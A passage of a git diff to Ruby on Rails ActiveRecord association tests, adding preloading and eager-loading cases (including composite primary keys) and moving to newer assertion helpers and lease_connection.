@@ -1295,6 +1380,11 @@ def test_eager_load_multiple_associations_with_references
     assert_equal projects.last.mentor.developers.first.contracts, projects.last.developers.last.contracts
   end
 
+  def test_preloading_has_many_through_with_custom_scope
+    project = Project.includes(:developers_named_david_with_hash_conditions).find(projects(:active_record).id)
+    assert_equal [developers(:david)], project.developers_named_david_with_hash_conditions
+  end
+
   test "scoping with a circular preload" do
     assert_equal Comment.find(1), Comment.preload(post: :comments).scoping { Comment.find(1) }
   end
@@ -1305,11 +1395,24 @@ def test_eager_load_multiple_associations_with_references
     assert_equal expected, FirstPost.unscoped.find(2)
   end
 
-  test "preload ignores the scoping" do
-    assert_equal(
-      Comment.find(1).post,
-      Post.where("1 = 0").scoping { Comment.preload(:post).find(1).post }
-    )
+  test "belongs_to association ignores the scoping" do
+    post = Comment.find(1).post
+
+    Post.where("1=0").scoping do
+      assert_equal post, Comment.find(1).post
+      assert_equal post, Comment.preload(:post).find(1).post
+      assert_equal post, Comment.eager_load(:post).find(1).post
+    end
+  end
+
+  test "has_many association ignores the scoping" do
+    comments = Post.find(1).comments.to_a
+
+    Comment.where("1=0").scoping do
+      assert_equal comments, Post.find(1).comments
+      assert_equal comments, Post.preload(:comments).find(1).comments
+      assert_equal comments, Post.eager_load(:comments).find(1).comments
+    end
   end
 
   test "deep preload" do
@@ -1363,11 +1466,12 @@ def test_eager_load_multiple_associations_with_references
     assert_nothing_raised do
       authors(:david).essays.includes(:writer).any?
       authors(:david).essays.includes(:writer).exists?
+      authors(:david).essays.includes(:owner).where("name IS NOT NULL").exists?
     end
   end
 
   test "preloading associations with string joins and order references" do
-    author = assert_queries(2) {
+    author = assert_queries_count(2) {
       Author.includes(:posts).joins("LEFT JOIN posts ON posts.author_id = authors.id").order("posts.title DESC").first
     }
     assert_no_queries {
@@ -1376,7 +1480,7 @@ def test_eager_load_multiple_associations_with_references
   end
 
   test "including associations with where.not adds implicit references" do
-    author = assert_queries(2) {
+    author = assert_queries_count(2) {
       Author.includes(:posts).where.not(posts: { title: "Welcome to the weblog" }).last
     }
 
@@ -1389,20 +1493,34 @@ def test_eager_load_multiple_associations_with_references
     assert_equal pets(:parrot), Owner.including_last_pet.first.last_pet
   end
 
-  test "preloading and eager loading of instance dependent associations is not supported" do
+  test "preloading of instance dependent associations is supported" do
+    authors = Author.preload(:posts_with_signature).to_a
+    assert_not authors.empty?
+    authors.each do |author|
+      assert_predicate author.posts_with_signature, :loaded?
+    end
+  end
+
+  test "eager loading of instance dependent associations is not supported" do
     message = "association scope 'posts_with_signature' is"
     error = assert_raises(ArgumentError) do
-      Author.includes(:posts_with_signature).to_a
+      Author.eager_load(:posts_with_signature).to_a
     end
     assert_match message, error.message
+  end
 
-    error = assert_raises(ArgumentError) do
-      Author.preload(:posts_with_signature).to_a
+  test "preloading of optional instance dependent associations is supported" do
+    authors = Author.includes(:posts_mentioning_author).to_a
+    assert_not authors.empty?
+    authors.each do |author|
+      assert_predicate author.posts_mentioning_author, :loaded?
     end
-    assert_match message, error.message
+  end
 
+  test "eager loading of optional instance dependent associations is not supported" do
+    message = "association scope 'posts_mentioning_author' is"
     error = assert_raises(ArgumentError) do
-      Author.eager_load(:posts_with_signature).to_a
+      Author.eager_load(:posts_mentioning_author).to_a
     end
     assert_match message, error.message
   end
@@ -1411,7 +1529,12 @@ def test_eager_load_multiple_associations_with_references
     exception = assert_raises(ArgumentError) do
       Author.preload(10).to_a
     end
-    assert_equal("10 was not recognized for preload", exception.message)
+    assert_match(/Association names must be Symbol or String, got: Integer/, exception.message)
+
+    exception = assert_raises(ActiveRecord::AssociationNotFoundError) do
+      Author.preload(:does_not_exists).to_a
+    end
+    assert_match(/Association named 'does_not_exists' was not found on Author; perhaps you misspelled it\?/, exception.message)
   end
 
   test "associations with extensions are not instance dependent" do
@@ -1420,61 +1543,62 @@ def test_eager_load_multiple_associations_with_references
     end
   end
 
-  test "including associations with extensions and an instance dependent scope is not supported" do
-    e = assert_raises(ArgumentError) do
-      Author.includes(:posts_with_extension_and_instance).to_a
+  test "including associations with extensions and an instance dependent scope is supported" do
+    authors = Author.includes(:posts_with_extension_and_instance).to_a
+    assert_not authors.empty?
+    authors.each do |author|
+      assert_predicate author.posts_with_extension_and_instance, :loaded?
     end
-    assert_match(/Preloading instance dependent scopes is not supported/, e.message)
   end
 
   test "preloading readonly association" do
     # has-one
     firm = Firm.where(id: "1").preload(:readonly_account).first!
-    assert firm.readonly_account.readonly?
+    assert_predicate firm.readonly_account, :readonly?
 
     # has_and_belongs_to_many
     project = Project.where(id: "2").preload(:readonly_developers).first!
-    assert project.readonly_developers.first.readonly?
+    assert_predicate project.readonly_developers.first, :readonly?
 
     # has-many :through
     david = Author.where(id: "1").preload(:readonly_comments).first!
-    assert david.readonly_comments.first.readonly?
+    assert_predicate david.readonly_comments.first, :readonly?
   end
 
   test "eager-loading non-readonly association" do
     # has_one
     firm = Firm.where(id: "1").eager_load(:account).first!
-    assert_not firm.account.readonly?
+    assert_not_predicate firm.account, :readonly?
 
     # has_and_belongs_to_many
     project = Project.where(id: "2").eager_load(:developers).first!
-    assert_not project.developers.first.readonly?
+    assert_not_predicate project.developers.first, :readonly?
 
     # has_many :through
     david = Author.where(id: "1").eager_load(:comments).first!
-    assert_not david.comments.first.readonly?
+    assert_not_predicate david.comments.first, :readonly?
 
     # belongs_to
     post = Post.where(id: "1").eager_load(:author).first!
-    assert_not post.author.readonly?
+    assert_not_predicate post.author, :readonly?
   end
 
   test "eager-loading readonly association" do
     # has-one
     firm = Firm.where(id: "1").eager_load(:readonly_account).first!
-    assert firm.readonly_account.readonly?
+    assert_predicate firm.readonly_account, :readonly?
 
     # has_and_belongs_to_many
     project = Project.where(id: "2").eager_load(:readonly_developers).first!
-    assert project.readonly_developers.first.readonly?
+    assert_predicate project.readonly_developers.first, :readonly?
 
     # has-many :through
     david = Author.where(id: "1").eager_load(:readonly_comments).first!
-    assert david.readonly_comments.first.readonly?
+    assert_predicate david.readonly_comments.first, :readonly?
 
     # belongs_to
     post = Post.where(id: "1").eager_load(:readonly_author).first!
-    assert post.readonly_author.readonly?
+    assert_predicate post.readonly_author, :readonly?
   end
 
   test "preloading a polymorphic association with references to the associated table" do
@@ -1487,9 +1611,154 @@ def test_eager_load_multiple_associations_with_references
     assert_equal posts(:welcome), post
   end
 
+  test "eager-loading with a polymorphic association won't work consistently" do
+    assert_raise(ActiveRecord::EagerLoadPolymorphicError) { authors(:david).essays.eager_load(:writer).to_a }
+    assert_raise(ActiveRecord::EagerLoadPolymorphicError) { authors(:david).essays.eager_load(:writer).count }
+    assert_raise(ActiveRecord::EagerLoadPolymorphicError) { authors(:david).essays.eager_load(:writer).exists? }
+  end
+
   # CollectionProxy#reader is expensive, so the preloader avoids calling it.
   test "preloading has_many_through association avoids calling association.reader" do
-    ActiveRecord::Associations::HasManyAssociation.any_instance.expects(:reader).never
-    Author.preload(:readonly_comments).first!
+    assert_not_called_on_instance_of(ActiveRecord::Associations::HasManyAssociation, :reader) do
+      Author.preload(:readonly_comments).first!
+    end
+  end
+
+  test "preloading through a polymorphic association doesn't require the association to exist" do
+    sponsors = []
+    assert_queries_count 5 do
+      sponsors = Sponsor.where(sponsorable_id: 1).preload(sponsorable: [:post, :membership]).to_a
+    end
+    # check the preload worked
+    assert_queries_count 0 do
+      sponsors.map(&:sponsorable).map { |s| s.respond_to?(:posts) ? s.post.author : s.membership }
+    end
   end
+
+  test "preloading a regular association through a polymorphic association doesn't require the association to exist on all types" do
+    sponsors = []
+    assert_queries_count 6 do
+      sponsors = Sponsor.where(sponsorable_id: 1).preload(sponsorable: [{ post: :first_comment }, :membership]).to_a
+    end
+    # check the preload worked
+    assert_queries_count 0 do
+      sponsors.map(&:sponsorable).map { |s| s.respond_to?(:posts) ? s.post.author : s.membership }
+    end
+  end
+
+  test "preloading a regular association with a typo through a polymorphic association still raises" do
+    # this test contains an intentional typo of first -> fist
+    assert_raises(ActiveRecord::AssociationNotFoundError) do
+      Sponsor.where(sponsorable_id: 1).preload(sponsorable: [{ post: :fist_comment }, :membership]).to_a
+    end
+  end
+
+  test "preloading belongs_to association associated by a composite query_constraints" do
+    blog_ids = [sharded_blogs(:sharded_blog_one).id, sharded_blogs(:sharded_blog_two).id]
+    posts = Sharded::BlogPost.where(blog_id: blog_ids).includes(:comments).to_a
+    assert posts.all? { |post| post.comments.loaded? }
+
+    post = posts.find { |post| post.id == sharded_blog_posts(:great_post_blog_one).id }
+    expected_comments = Sharded::Comment.where(blog_id: post.blog_id, blog_post_id: post.id).to_a
+    assert_equal(post.comments.sort, expected_comments.sort)
+  end
+
+  test "preloading belongs_to association SQL" do
+    blog_ids = [sharded_blogs(:sharded_blog_one).id, sharded_blogs(:sharded_blog_two).id]
+    posts = Sharded::BlogPost.where(blog_id: blog_ids).includes(:comments)
+
+    sql = capture_sql do
+      comments_collection = posts.map(&:comments)
+      assert_equal 3, comments_collection.size
+    end.last
+
+    quoted_blog_id = Regexp.escape(quote_table_name("sharded_comments.blog_id"))
+    quoted_blog_post_id = Regexp.escape(quote_table_name("sharded_comments.blog_post_id"))
+    assert_match(/WHERE #{quoted_blog_id} IN \(.+\) AND #{quoted_blog_post_id} IN \(.+\)/, sql)
+  end
+
+  test "preloading has_many association associated by a composite query_constraints" do
+    blog_ids = [sharded_blogs(:sharded_blog_one).id, sharded_blogs(:sharded_blog_two).id]
+    comments = Sharded::Comment.where(blog_id: blog_ids).includes(:blog_post).to_a
+    assert comments.all? { |comment| comment.association(:blog_post).loaded? }
+
+    comment = comments.find { |comment| comment.id == sharded_comments(:great_comment_blog_post_one).id }
+    assert_equal(comment.blog_post, sharded_blog_posts(:great_post_blog_one))
+  end
+
+  test "preloading has_many through association associated by a composite query_constraints" do
+    blog_ids = [sharded_blogs(:sharded_blog_one).id, sharded_blogs(:sharded_blog_two).id]
+    blog_posts = Sharded::BlogPost.where(blog_id: blog_ids).includes(:tags).to_a
+    assert blog_posts.all? { |post| post.association(:tags).loaded? }
+
+    expected_blog_post = sharded_blog_posts(:great_post_blog_one)
+    expected_tag_ids = Sharded::BlogPostTag
+      .where(blog_id: expected_blog_post.blog_id, blog_post_id: expected_blog_post.id)
+      .pluck(:tag_id)
+
+    assert_not_empty(expected_tag_ids)
+
+    blog_post = blog_posts.find { |post| post.id == expected_blog_post.id }
+
+    assert_equal(expected_tag_ids.sort, blog_post.tags.map(&:id).sort)
+  end
+
+  test "preloading belongs_to CPK model with one of the keys being shared between models" do
+    post1 = Cpk::Post.create!(title: "post1", author: "the_same_author")
+    Cpk::Comment.create!(post: post1, text: "great post1!")
+
+    post2 = Cpk::Post.create!(title: "post2", author: "the_same_author")
+    Cpk::Comment.create!(post: post2, text: "great post2!")
+
+    comments = Cpk::Comment.eager_load(:post).to_a
+    expected = {
+      "great post1!" => "post1",
+      "great post2!" => "post2"
+    }
+
+    actual = comments.each_with_object({}) do |comment, hash|
+      hash[comment.text] = comment.post.title
+    end
+
+    assert_equal expected, actual
+  end
+
+  test "preloading belongs_to with cpk" do
+    order = Cpk::Order.create!(shop_id: 2)
+    order_agreement = Cpk::OrderAgreement.create!(order: order)
+    assert_equal order, Cpk::OrderAgreement.eager_load(:order).find_by(id: order_agreement.id).order
+  end
+
+  test "preloading has_many with cpk" do
+    order_1 = Cpk::Order.create!(shop_id: 200)
+    order_2 = Cpk::Order.create!(shop_id: 300)
+    agreement_1 = order_1.order_agreements.create!(signature: "A")
+    agreement_2 = order_1.order_agreements.create!(signature: "Z")
+    agreement_3 = order_2.order_agreements.create!(signature: "A")
+    agreement_4 = order_2.order_agreements.create!(signature: "Z")
+
+    relation = Cpk::Order.where(shop_id: [200, 300]).eager_load(:order_agreements)
+    results = relation.to_a.sort_by(&:shop_id)
+
+    assert_equal [order_1, order_2], results
+    assert_equal [agreement_1, agreement_2], results.first.order_agreements.sort_by(&:signature)
+    assert_equal [agreement_3, agreement_4], results.last.order_agreements.sort_by(&:signature)
+  end
+
+  test "preloading has_one with cpk" do
+    order = Cpk::Order.create!(shop_id: 2)
+    book = Cpk::Book.create!(order: order, id: [1, 3])
+    assert_equal book, Cpk::Order.eager_load(:book).find_by(id: order.id).book
+  end
+
+  private
+    def find_all_ordered(klass, include = nil)
+      klass.order("#{klass.table_name}.#{klass.primary_key}").includes(include).to_a
+    end
+
+    # Eager includes of has many and habtm associations aren't necessarily sorted in the same way
+    def assert_equal_after_sort(item1, item2, item3 = nil)
+      assert_equal(item1.sort { |a, b| a.id <=> b.id }, item2.sort { |a, b| a.id <=> b.id })
+      assert_equal(item3.sort { |a, b| a.id <=> b.id }, item2.sort { |a, b| a.id <=> b.id }) if item3
+    end
 end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
index 974a3080d4a8f..604a52655cac0 100644
--- a/activerecord/test/cases/associations/extension_test.rb
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/comment"
@@ -36,6 +38,11 @@ def test_extension_with_scopes
     assert_equal comments(:greetings), posts(:welcome).comments.not_again.find_most_recent
   end
 
+  def test_extension_with_dirty_target
+    comment = posts(:welcome).comments.build(body: "New comment")
+    assert_equal comment, posts(:welcome).comments.with_content("New comment")
+  end
+
   def test_marshalling_extensions
     david = developers(:david)
     assert_equal projects(:action_controller), david.projects.find_most_recent
@@ -63,8 +70,8 @@ def test_extension_name
     extend!(Developer)
     extend!(MyApplication::Business::Developer)
 
-    assert Object.const_get "DeveloperAssociationNameAssociationExtension"
-    assert MyApplication::Business.const_get "DeveloperAssociationNameAssociationExtension"
+    assert Developer.const_get "AssociationNameAssociationExtension"
+    assert MyApplication::Business::Developer.const_get "AssociationNameAssociationExtension"
   end
 
   def test_proxy_association_after_scoped
@@ -73,9 +80,14 @@ def test_proxy_association_after_scoped
     assert_equal post.association(:comments), post.comments.where("1=1").the_association
   end
 
-  private
+  def test_association_with_default_scope
+    assert_raises OopsError do
+      posts(:welcome).comments.destroy_all
+    end
+  end
 
+  private
     def extend!(model)
-      ActiveRecord::Associations::Builder::HasMany.define_extensions(model, :association_name) {}
+      ActiveRecord::Associations::Builder::HasMany.send(:define_extensions, model, :association_name) { }
     end
 end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index d6b595d7e7047..22fc3e6671360 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/deprecated_associations_test_helpers"
 require "models/developer"
 require "models/computer"
 require "models/project"
@@ -23,12 +26,15 @@
 require "models/member"
 require "models/membership"
 require "models/sponsor"
+require "models/lesson"
+require "models/student"
 require "models/country"
 require "models/treaty"
 require "models/vertex"
 require "models/publisher"
 require "models/publisher/article"
 require "models/publisher/magazine"
+require "models/dats"
 require "active_support/core_ext/string/conversions"
 
 class ProjectWithAfterCreateHook < ActiveRecord::Base
@@ -86,12 +92,6 @@ class DeveloperWithSymbolClassName < Developer
   has_and_belongs_to_many :projects, class_name: :ProjectWithSymbolsForKeys
 end
 
-ActiveSupport::Deprecation.silence do
-  class DeveloperWithConstantClassName < Developer
-    has_and_belongs_to_many :projects, class_name: ProjectWithSymbolsForKeys
-  end
-end
-
 class DeveloperWithExtendOption < Developer
   module NamedExtension
     def category
@@ -111,12 +111,27 @@ class ProjectUnscopingDavidDefaultScope < ActiveRecord::Base
     association_foreign_key: "developer_id"
 end
 
+class Kitchen < ActiveRecord::Base
+  has_one :sink
+end
+
+class Sink < ActiveRecord::Base
+  has_and_belongs_to_many :sources, join_table: :edges
+  belongs_to :kitchen
+  accepts_nested_attributes_for :kitchen
+end
+
+class Source < ActiveRecord::Base
+  self.table_name = "humans"
+  has_and_belongs_to_many :sinks, join_table: :edges
+end
+
 class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
            :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings, :computers
 
   def setup_data_for_habtm_case
-    ActiveRecord::Base.connection.execute("delete from countries_treaties")
+    ActiveRecord::Base.lease_connection.execute("delete from countries_treaties")
 
     country = Country.new(name: "India")
     country.country_id = "c1"
@@ -136,7 +151,7 @@ def test_marshal_dump
   def test_should_property_quote_string_primary_keys
     setup_data_for_habtm_case
 
-    con = ActiveRecord::Base.connection
+    con = ActiveRecord::Base.lease_connection
     sql = "select * from countries_treaties"
     record = con.select_rows(sql).last
     assert_equal "c1", record[0]
@@ -153,27 +168,14 @@ def test_proper_usage_of_primary_keys_and_join_table
     assert_equal 1, country.treaties.count
   end
 
-  def test_join_table_composite_primary_key_should_not_warn
-    country = Country.new(name: "India")
-    country.country_id = "c1"
-    country.save!
-
-    treaty = Treaty.new(name: "peace")
-    treaty.treaty_id = "t1"
-    warning = capture(:stderr) do
-      country.treaties << treaty
-    end
-    assert_no_match(/WARNING: Active Record does not support composite primary key\./, warning)
-  end
-
   def test_has_and_belongs_to_many
     david = Developer.find(1)
 
-    assert !david.projects.empty?
+    assert_not_empty david.projects
     assert_equal 2, david.projects.size
 
     active_record = Project.find(1)
-    assert !active_record.developers.empty?
+    assert_not_empty active_record.developers
     assert_equal 3, active_record.developers.size
     assert_includes active_record.developers, david
   end
@@ -251,10 +253,10 @@ def test_habtm_adding_before_save
     no_of_projects = Project.count
     aredridel = Developer.new("name" => "Aredridel")
     aredridel.projects.concat([Project.find(1), p = Project.new("name" => "Projekt")])
-    assert !aredridel.persisted?
-    assert !p.persisted?
+    assert_not_predicate aredridel, :persisted?
+    assert_not_predicate p, :persisted?
     assert aredridel.save
-    assert aredridel.persisted?
+    assert_predicate aredridel, :persisted?
     assert_equal no_of_devels + 1, Developer.count
     assert_equal no_of_projects + 1, Project.count
     assert_equal 2, aredridel.projects.size
@@ -264,7 +266,7 @@ def test_habtm_adding_before_save
   def test_habtm_saving_multiple_relationships
     new_project = Project.new("name" => "Grimetime")
     amount_of_developers = 4
-    developers = (0...amount_of_developers).collect { |i| Developer.create(name: "JME #{i}") }.reverse
+    developers = (0...amount_of_developers).reverse_each.map { |i| Developer.create(name: "JME #{i}") }
 
     new_project.developer_ids = [developers[0].id, developers[1].id]
     new_project.developers_with_callback_ids = [developers[2].id, developers[3].id]
@@ -299,30 +301,32 @@ def test_habtm_collection_size_from_params
 
   def test_build
     devel = Developer.find(1)
-    proj = assert_no_queries(ignore_none: false) { devel.projects.build("name" => "Projekt") }
-    assert !devel.projects.loaded?
+
+    proj = assert_queries_count(0) { devel.projects.build("name" => "Projekt") }
+    assert_not_predicate devel.projects, :loaded?
 
     assert_equal devel.projects.last, proj
-    assert devel.projects.loaded?
+    assert_predicate devel.projects, :loaded?
 
-    assert !proj.persisted?
+    assert_not_predicate proj, :persisted?
     devel.save
-    assert proj.persisted?
+    assert_predicate proj, :persisted?
     assert_equal devel.projects.last, proj
     assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
   end
 
   def test_new_aliased_to_build
     devel = Developer.find(1)
-    proj = assert_no_queries(ignore_none: false) { devel.projects.new("name" => "Projekt") }
-    assert !devel.projects.loaded?
+
+    proj = assert_queries_count(0) { devel.projects.new("name" => "Projekt") }
+    assert_not_predicate devel.projects, :loaded?
 
     assert_equal devel.projects.last, proj
-    assert devel.projects.loaded?
+    assert_predicate devel.projects, :loaded?
 
-    assert !proj.persisted?
+    assert_not_predicate proj, :persisted?
     devel.save
-    assert proj.persisted?
+    assert_predicate proj, :persisted?
     assert_equal devel.projects.last, proj
     assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
   end
@@ -332,10 +336,10 @@ def test_build_by_new_record
     devel.projects.build(name: "Make bed")
     proj2 = devel.projects.build(name: "Lie in it")
     assert_equal devel.projects.last, proj2
-    assert !proj2.persisted?
+    assert_not_predicate proj2, :persisted?
     devel.save
-    assert devel.persisted?
-    assert proj2.persisted?
+    assert_predicate devel, :persisted?
+    assert_predicate proj2, :persisted?
     assert_equal devel.projects.last, proj2
     assert_equal Developer.find_by_name("Marcel").projects.last, proj2  # prove join table is updated
   end
@@ -343,40 +347,27 @@ def test_build_by_new_record
   def test_create
     devel = Developer.find(1)
     proj = devel.projects.create("name" => "Projekt")
-    assert !devel.projects.loaded?
+    assert_not_predicate devel.projects, :loaded?
 
     assert_equal devel.projects.last, proj
-    assert !devel.projects.loaded?
+    assert_not_predicate devel.projects, :loaded?
 
-    assert proj.persisted?
+    assert_predicate proj, :persisted?
     assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
   end
 
-  def test_create_by_new_record
-    devel = Developer.new(name: "Marcel", salary: 75000)
-    devel.projects.build(name: "Make bed")
-    proj2 = devel.projects.build(name: "Lie in it")
-    assert_equal devel.projects.last, proj2
-    assert !proj2.persisted?
-    devel.save
-    assert devel.persisted?
-    assert proj2.persisted?
-    assert_equal devel.projects.last, proj2
-    assert_equal Developer.find_by_name("Marcel").projects.last, proj2  # prove join table is updated
-  end
-
   def test_creation_respects_hash_condition
     # in Oracle '' is saved as null therefore need to save ' ' in not null column
     post = categories(:general).post_with_conditions.build(body: " ")
 
-    assert        post.save
-    assert_equal  "Yet Another Testing Title", post.title
+    assert post.save
+    assert_equal "Yet Another Testing Title", post.title
 
     # in Oracle '' is saved as null therefore need to save ' ' in not null column
     another_post = categories(:general).post_with_conditions.create(body: " ")
 
-    assert        another_post.persisted?
-    assert_equal  "Yet Another Testing Title", another_post.title
+    assert_predicate another_post, :persisted?
+    assert_equal "Yet Another Testing Title", another_post.title
   end
 
   def test_distinct_after_the_fact
@@ -443,10 +434,10 @@ def test_deleting_all
 
   def test_removing_associations_on_destroy
     david = DeveloperWithBeforeDestroyRaise.find(1)
-    assert !david.projects.empty?
+    assert_not_empty david.projects
     david.destroy
-    assert david.projects.empty?
-    assert DeveloperWithBeforeDestroyRaise.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = 1").empty?
+    assert_empty david.projects
+    assert_empty DeveloperWithBeforeDestroyRaise.lease_connection.select_all("SELECT * FROM developers_projects WHERE developer_id = 1")
   end
 
   def test_destroying
@@ -460,8 +451,8 @@ def test_destroying
       david.projects.destroy(project)
     end
 
-    join_records = Developer.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id} AND project_id = #{project.id}")
-    assert join_records.empty?
+    join_records = Developer.lease_connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id} AND project_id = #{project.id}")
+    assert_empty join_records
 
     assert_equal 1, david.reload.projects.size
     assert_equal 1, david.projects.reload.size
@@ -476,8 +467,8 @@ def test_destroying_many
       david.projects.destroy(*projects)
     end
 
-    join_records = Developer.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id}")
-    assert join_records.empty?
+    join_records = Developer.lease_connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id}")
+    assert_empty join_records
 
     assert_equal 0, david.reload.projects.size
     assert_equal 0, david.projects.reload.size
@@ -486,23 +477,23 @@ def test_destroying_many
   def test_destroy_all
     david = Developer.find(1)
     david.projects.reload
-    assert !david.projects.empty?
+    assert_not_empty david.projects
 
     assert_no_difference "Project.count" do
       david.projects.destroy_all
     end
 
-    join_records = Developer.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id}")
-    assert join_records.empty?
+    join_records = Developer.lease_connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id}")
+    assert_empty join_records
 
-    assert david.projects.empty?
-    assert david.projects.reload.empty?
+    assert_empty david.projects
+    assert_empty david.projects.reload
   end
 
   def test_destroy_associations_destroys_multiple_associations
     george = parrots(:george)
-    assert !george.pirates.empty?
-    assert !george.treasures.empty?
+    assert_not_empty george.pirates
+    assert_not_empty george.treasures
 
     assert_no_difference "Pirate.count" do
       assert_no_difference "Treasure.count" do
@@ -510,13 +501,13 @@ def test_destroy_associations_destroys_multiple_associations
       end
     end
 
-    join_records = Parrot.connection.select_all("SELECT * FROM parrots_pirates WHERE parrot_id = #{george.id}")
-    assert join_records.empty?
-    assert george.pirates.reload.empty?
+    join_records = Parrot.lease_connection.select_all("SELECT * FROM parrots_pirates WHERE parrot_id = #{george.id}")
+    assert_empty join_records
+    assert_empty george.pirates.reload
 
-    join_records = Parrot.connection.select_all("SELECT * FROM parrots_treasures WHERE parrot_id = #{george.id}")
-    assert join_records.empty?
-    assert george.treasures.reload.empty?
+    join_records = Parrot.lease_connection.select_all("SELECT * FROM parrots_treasures WHERE parrot_id = #{george.id}")
+    assert_empty join_records
+    assert_empty george.treasures.reload
   end
 
   def test_associations_with_conditions
@@ -548,8 +539,8 @@ def test_include_uses_array_include_after_loaded
 
     developer = project.developers.first
 
-    assert_no_queries(ignore_none: false) do
-      assert project.developers.loaded?
+    assert_queries_count(0) do
+      assert_predicate project.developers, :loaded?
       assert_includes project.developers, developer
     end
   end
@@ -559,19 +550,19 @@ def test_include_checks_if_record_exists_if_target_not_loaded
     developer = project.developers.first
 
     project.reload
-    assert ! project.developers.loaded?
-    assert_queries(1) do
+    assert_not_predicate project.developers, :loaded?
+    assert_queries_count(1) do
       assert_includes project.developers, developer
     end
-    assert ! project.developers.loaded?
+    assert_not_predicate project.developers, :loaded?
   end
 
   def test_include_returns_false_for_non_matching_record_to_verify_scoping
     project = projects(:active_record)
     developer = Developer.create name: "Bryan", salary: 50_000
 
-    assert ! project.developers.loaded?
-    assert ! project.developers.include?(developer)
+    assert_not_predicate project.developers, :loaded?
+    assert_not project.developers.include?(developer)
   end
 
   def test_find_with_merged_options
@@ -664,13 +655,13 @@ def test_symbol_join_table
     assert_includes developer.sym_special_projects, sp
   end
 
-  def test_update_attributes_after_push_without_duplicate_join_table_rows
+  def test_update_columns_after_push_without_duplicate_join_table_rows
     developer = Developer.new("name" => "Kano")
     project = SpecialProject.create("name" => "Special Project")
     assert developer.save
     developer.projects << project
     developer.update_columns("name" => "Bruza")
-    assert_equal 1, Developer.connection.select_value(<<-end_sql).to_i
+    assert_equal 1, Developer.lease_connection.select_value(<<-end_sql).to_i
       SELECT count(*) FROM developers_projects
       WHERE project_id = #{project.id}
       AND developer_id = #{developer.id}
@@ -698,25 +689,21 @@ def test_habtm_respects_select_query_method
     assert_equal ["id"], developers(:david).projects.select(:id).first.attributes.keys
   end
 
+  def test_join_middle_table_alias
+    assert_equal(
+      2,
+      Project.includes(:developers_projects).where.not("developers_projects.joined_on": nil).to_a.size
+    )
+  end
+
   def test_join_table_alias
-    # FIXME: `references` has no impact on the aliases generated for the join
-    # query.  The fact that we pass `:developers_projects_join` to `references`
-    # and that the SQL string contains `developers_projects_join` is merely a
-    # coincidence.
     assert_equal(
       3,
-      Developer.references(:developers_projects_join).merge(
-        includes: { projects: :developers },
-        where: "projects_developers_projects_join.joined_on IS NOT NULL"
-      ).to_a.size
+      Developer.includes(projects: :developers).where.not("developers_projects_projects_join.joined_on": nil).to_a.size
     )
   end
 
   def test_join_with_group
-    # FIXME: `references` has no impact on the aliases generated for the join
-    # query.  The fact that we pass `:developers_projects_join` to `references`
-    # and that the SQL string contains `developers_projects_join` is merely a
-    # coincidence.
     group = Developer.columns.inject([]) do |g, c|
       g << "developers.#{c.name}"
       g << "developers_projects_2.#{c.name}"
@@ -725,10 +712,7 @@ def test_join_with_group
 
     assert_equal(
       3,
-      Developer.references(:developers_projects_join).merge(
-        includes: { projects: :developers }, where: "projects_developers_projects_join.joined_on IS NOT NULL",
-        group: group.join(",")
-      ).to_a.size
+      Developer.includes(projects: :developers).where.not("developers_projects_projects_join.joined_on": nil).group(group.join(",")).to_a.size
     )
   end
 
@@ -757,7 +741,7 @@ def test_get_ids
   def test_get_ids_for_loaded_associations
     developer = developers(:david)
     developer.projects.reload
-    assert_queries(0) do
+    assert_queries_count(0) do
       developer.project_ids
       developer.project_ids
     end
@@ -765,9 +749,9 @@ def test_get_ids_for_loaded_associations
 
   def test_get_ids_for_unloaded_associations_does_not_load_them
     developer = developers(:david)
-    assert !developer.projects.loaded?
+    assert_not_predicate developer.projects, :loaded?
     assert_equal projects(:active_record, :action_controller).map(&:id).sort, developer.project_ids.sort
-    assert !developer.projects.loaded?
+    assert_not_predicate developer.projects, :loaded?
   end
 
   def test_assign_ids
@@ -788,6 +772,16 @@ def test_assign_ids_ignoring_blanks
     assert_equal [projects(:active_record), projects(:action_controller)].map(&:id).sort, developer.project_ids.sort
   end
 
+  def test_singular_ids_are_reloaded_after_collection_concat
+    student = Student.create(name: "Alberto Almagro")
+    student.lesson_ids
+
+    lesson = Lesson.create(name: "DSI")
+    student.lessons << lesson
+
+    assert_includes student.lesson_ids, lesson.id
+  end
+
   def test_scoped_find_on_through_association_doesnt_return_read_only_records
     tag = Post.find(1).tags.find_by_name("General")
 
@@ -797,7 +791,7 @@ def test_scoped_find_on_through_association_doesnt_return_read_only_records
   end
 
   def test_has_many_through_polymorphic_has_manys_works
-    assert_equal [10, 20].to_set, pirates(:redbeard).treasure_estimates.map(&:price).to_set
+    assert_equal ["$10.00", "$20.00"].to_set, pirates(:redbeard).treasure_estimates.map(&:price).to_set
   end
 
   def test_symbols_as_keys
@@ -831,30 +825,15 @@ def test_association_proxy_transaction_method_starts_transaction_in_association_
     end
   end
 
-  def test_caching_of_columns
-    david = Developer.find(1)
-    # clear cache possibly created by other tests
-    david.projects.reset_column_information
-
-    assert_queries(:any) { david.projects.columns }
-    assert_no_queries { david.projects.columns }
-
